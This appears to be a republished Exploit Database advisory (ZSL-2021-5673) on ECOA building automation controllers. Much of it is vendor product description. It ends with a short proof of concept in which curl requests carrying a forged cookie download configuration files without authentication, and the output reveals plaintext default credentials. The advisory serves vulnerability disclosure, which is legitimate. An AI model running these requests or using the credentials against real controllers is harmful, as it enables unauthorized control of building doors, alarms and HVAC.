ECOA Building Automation System – Configuration Download Information Disclosure

Exploit Database
109 阅读

作者： Neurogenesia

日期： 2021-09-13
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/50280/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

# Exploit Title: ECOA Building Automation System - Configuration Download Information Disclosure

# Date: 25.06.2021

# Exploit Author: Neurogenesia

# Vendor Homepage: http://www.ecoa.com.tw

ECOA Building Automation System Configuration Download Information Disclosure

Vendor: ECOA Technologies Corp.

Product web page: http://www.ecoa.com.tw

Affected version: ECOA ECS Router Controller - ECS (FLASH)

ECOA RiskBuster Terminator - E6L45

ECOA RiskBuster System - RB 3.0.0

ECOA RiskBuster System - TRANE 1.0

ECOA Graphic Control Software

ECOA SmartHome II - E9246

ECOA RiskTerminator

Summary:

#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are

designed to provide you with the latest in the Human Machine Interface (HMI) technology,

for completely monitoring and controlling management. It may be used singly for small and

medium sized facilities, could be linked together via the high-speed Ethernet to other

servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more

sophisticated applications. The Risk-Terminator practice Web basic conception that with

operation simply and conveniently, totally share risk and make sure of security. Even

remote sites may be controlled and monitored through Ethernet port, which base on standard

transferring protocol like XML, Modbus TCP/IP or BACnet or URL.

#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP

networking technologies. It incorporates an embedded web server that can deliver user-specific

web pages to any PC or mobile terminal running internet browser software. A user with an

appropriate security codes can made adjustment or monitor the network control unit form

any internet access point in the world. It also provides network management, integration

and process control functions for any existing or new building controllers and microprocessor

based equipments or system in buildings. The management function provided by the RiskBuster

such as trend log and alarm generation improves building controllers and microprocessor

based equipments or system management and audit trail capabilities. The integration function

provided by the RiskBuster allows seamless integration such as information sharing (read/write)

between building controllers and microprocessor based equipments or system without any need

of major upgrade or equipments replacement and allow cost saving. The process control functions

provided by the RiskBuster allow global control action to be implemented across any building

controllers and microprocessor based equipments or system to allow full building control. The

RiskBuster provide a truly cost effective solution for any building automation or high level

integration application. A truly Ethernet network compliant feature allows the RiskBuster to

be install anywhere in the building.

#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for

Building Automate System; Environment control system; HVAC control system and other types of

equipment. Being fully programmable it ensures complete application versatility, allowing

specific products to be created according to customer requests. This controller is a configurable

unitary controller based on the 32bit series microcomputer, with an on-board clock, have two

RS-485 local bus.

#4 The ECS0000160 is a Router Controller for building and industry products based on various

microprocessors. It not only accessing information but also monitoring and controlling across

Internet directly. The ECS0000160 can totally replace and improve a typical system that always

has tedious panel and complex working process. An obviously benefit to our customers is that

ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed

to connect with singular specific operating system. It's like a whole package, which provides

browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all

through web-pages operating, which works base on standard transmission Internet protocol. The

ECS0000160 provides a low industry cost. A truly friendly network interface which is simple

and easy to apply on factory floors. It supports from serial ports with options of RS485.

#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden

installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A

conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional,

integral and differential (P+I+D) and dead-zone control to control accurately. The controller

features contains the sensing system, proportional control systems, computing modules, control

modules, alarm detection system, and so on. It mainly used in building control, plant monitoring,

air monitoring, lighting and power control, the use of premises for buildings, factories, offices,

conference rooms, restaurants, hotels, etc.

Desc:

The BAS controller is vulnerable to configuration disclosure when direct object reference is made

to the syspara.dat or images.dat files using an HTTP GET request. This will enable the attacker to

disclose sensitive information and help her in authentication bypass, privilege escalation and full

system access.

Tested on: EMBED/1.0

Apache Tomcat/6.0.44

Apache Tomcat/6.0.18

Windows Server

MySQL Version 5.1.60

MySQL Version 4.0.16

Version 2.0.1.28 20180628

Vulnerability discovered by Neurogenesia

@zeroscience

Advisory ID: ZSL-2021-5673

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5673.php

25.06.2021

Configuration / Backup Download / Privilege Escalation / Password Disclosure

----------------------------------------------------------------------------

- Unauthenticated config download reveals plain-text passwords

$ curl -s -O -H 'Cookie: UCLS=19' http://192.168.1.3:8080/syspara.dat

$ curl -s -O -H 'Cookie: UCLS=19' http://192.168.1.3:8080/images.dat

$ strings *

...

/opt/webpage/pwsd.bin

/user

user

embed

power

1234

/opt/webpage/system.bin

Oboothr=24

bootmin=00

OutIDWork=Y

language=big5

seclanguage=Y

ValSet=Y

allpollTm=500

httpusr=embed

httppwd=power

...